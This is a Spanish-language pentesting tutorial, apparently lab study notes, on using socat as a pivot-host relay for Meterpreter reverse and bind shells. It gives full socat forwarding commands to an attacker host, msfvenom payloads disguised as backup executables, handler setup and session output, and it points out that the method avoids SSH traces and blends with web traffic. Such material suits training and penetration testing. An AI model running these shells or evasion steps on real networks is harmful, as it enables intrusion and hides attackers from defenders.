socat
Socat es una herramienta de relay bidireccional que crea puentes entre dos canales de red independientes sin necesidad de SSH. En contexto de pivoting actúa como redirector: escucha en el pivot host y reenvía el tráfico al host atacante, permitiendo que un objetivo en una red interna alcance al atacante a través del pivot.
Concepto
Section titled “Concepto”Objetivo Windows → pivot host (socat) → host atacante (listener)172.16.5.19 172.16.5.129:8080 10.10.14.18:80Socat recibe la conexión del objetivo y la retransmite transparentemente. El atacante solo ve tráfico proveniente del pivot, no del objetivo real.
Reverse Shell via Socat
Section titled “Reverse Shell via Socat”Paso 1 — Iniciar socat en el pivot host
Section titled “Paso 1 — Iniciar socat en el pivot host”# Escuchar en 8080, reenviar todo al atacante en puerto 80socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80| Opción | Descripción |
|---|---|
TCP4-LISTEN:8080 |
Escuchar conexiones TCP entrantes en puerto 8080 |
fork |
Crear un proceso hijo por cada conexión — permite conexiones múltiples simultáneas |
TCP4:10.10.14.18:80 |
Reenviar al host atacante en puerto 80 |
Paso 2 — Generar payload para el objetivo Windows
Section titled “Paso 2 — Generar payload para el objetivo Windows”El payload apunta al pivot host (172.16.5.129:8080), no al atacante directamente:
msfvenom -p windows/x64/meterpreter/reverse_https \ LHOST=172.16.5.129 \ LPORT=8080 \ -f exe -o backupscript.exePaso 3 — Listener en el host atacante
Section titled “Paso 3 — Listener en el host atacante”El listener escucha en el puerto al que socat reenvía (80):
msf6> use exploit/multi/handlermsf6> set payload windows/x64/meterpreter/reverse_httpsmsf6> set LHOST 0.0.0.0msf6> set LPORT 80msf6> run# [*] Started HTTPS reverse handler on https://0.0.0.0:80Resultado
Section titled “Resultado”Cuando el objetivo ejecuta el payload, la conexión llega al pivot en :8080, socat la reenvía al atacante en :80, y el atacante recibe la sesión Meterpreter. La IP de origen que ve el listener es la del pivot host, no la del objetivo:
[*] Meterpreter session 1 opened (10.10.14.18:80 -> 127.0.0.1)meterpreter> getuidServer username: INLANEFREIGHT\victorBind Shell via Socat
Section titled “Bind Shell via Socat”En el modelo bind shell el flujo es inverso: el objetivo escucha y el atacante conecta. Socat actúa como intermediario entre el handler del atacante y el bind shell del objetivo.
host atacante (handler) → pivot host (socat) → objetivo Windows (bind shell)10.10.14.18 172.16.5.129:8080 172.16.5.19:8443Paso 1 — Generar payload bind shell para Windows
Section titled “Paso 1 — Generar payload bind shell para Windows”msfvenom -p windows/x64/meterpreter/bind_tcp \ LPORT=8443 \ -f exe -o backupjob.exeEl payload no necesita LHOST — escuchará en el propio objetivo en el puerto indicado.
Paso 2 — Iniciar socat bind relay en el pivot host
Section titled “Paso 2 — Iniciar socat bind relay en el pivot host”# Escuchar en 8080, reenviar conexiones al objetivo en 8443socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443Paso 3 — Ejecutar el payload en el objetivo Windows
Section titled “Paso 3 — Ejecutar el payload en el objetivo Windows”Una vez ejecutado, el objetivo quedará escuchando en 172.16.5.19:8443.
Paso 4 — Conectar desde el handler al pivot
Section titled “Paso 4 — Conectar desde el handler al pivot”El handler conecta al pivot (:8080), socat retransmite al bind shell del objetivo (:8443):
msf6> use exploit/multi/handlermsf6> set payload windows/x64/meterpreter/bind_tcpmsf6> set RHOST 10.129.202.64 # IP del pivot hostmsf6> set LPORT 8080 # Puerto donde socat escuchamsf6> run# [*] Started bind TCP handler against 10.129.202.64:8080Resultado
Section titled “Resultado”[*] Sending stage (200262 bytes) to 10.129.202.64[*] Meterpreter session 1 opened (10.10.14.18:46253 -> 10.129.202.64:8080)meterpreter> getuidServer username: INLANEFREIGHT\victorComparativa reverse vs bind con Socat
Section titled “Comparativa reverse vs bind con Socat”| Reverse Shell | Bind Shell | |
|---|---|---|
| Dirección | Objetivo → pivot → atacante | Atacante → pivot → objetivo |
| Payload LHOST | IP del pivot | No necesario |
| Socat en pivot | LISTEN en pivot, reenvía al atacante |
LISTEN en pivot, reenvía al objetivo |
| Handler | Escucha pasivo | Conecta activamente al pivot |
| Uso típico | Más común, objetivo inicia conexión | Útil cuando el objetivo no puede iniciar conexiones salientes |
Verificación y uso práctico
Section titled “Verificación y uso práctico”# Verificar que socat está escuchando en el pivotss -tlnp | grep 8080netstat -antp | grep 8080
# Socat en background (liberar terminal del pivot)socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80 &
# Socat con logging para debugsocat -v TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80Socat es especialmente útil cuando SSH no está disponible en el pivot host o cuando se quiere un redirector más liviano que no deja rastro de túneles SSH en los logs del sistema. Combinado con payloads HTTPS, el tráfico redirigido parece tráfico web legítimo desde el pivot.
Atención: Sin el flag
fork, socat solo maneja una conexión y termina. Usar siempreforksi se esperan múltiples conexiones o staging de Meterpreter (que abre múltiples conexiones durante el proceso).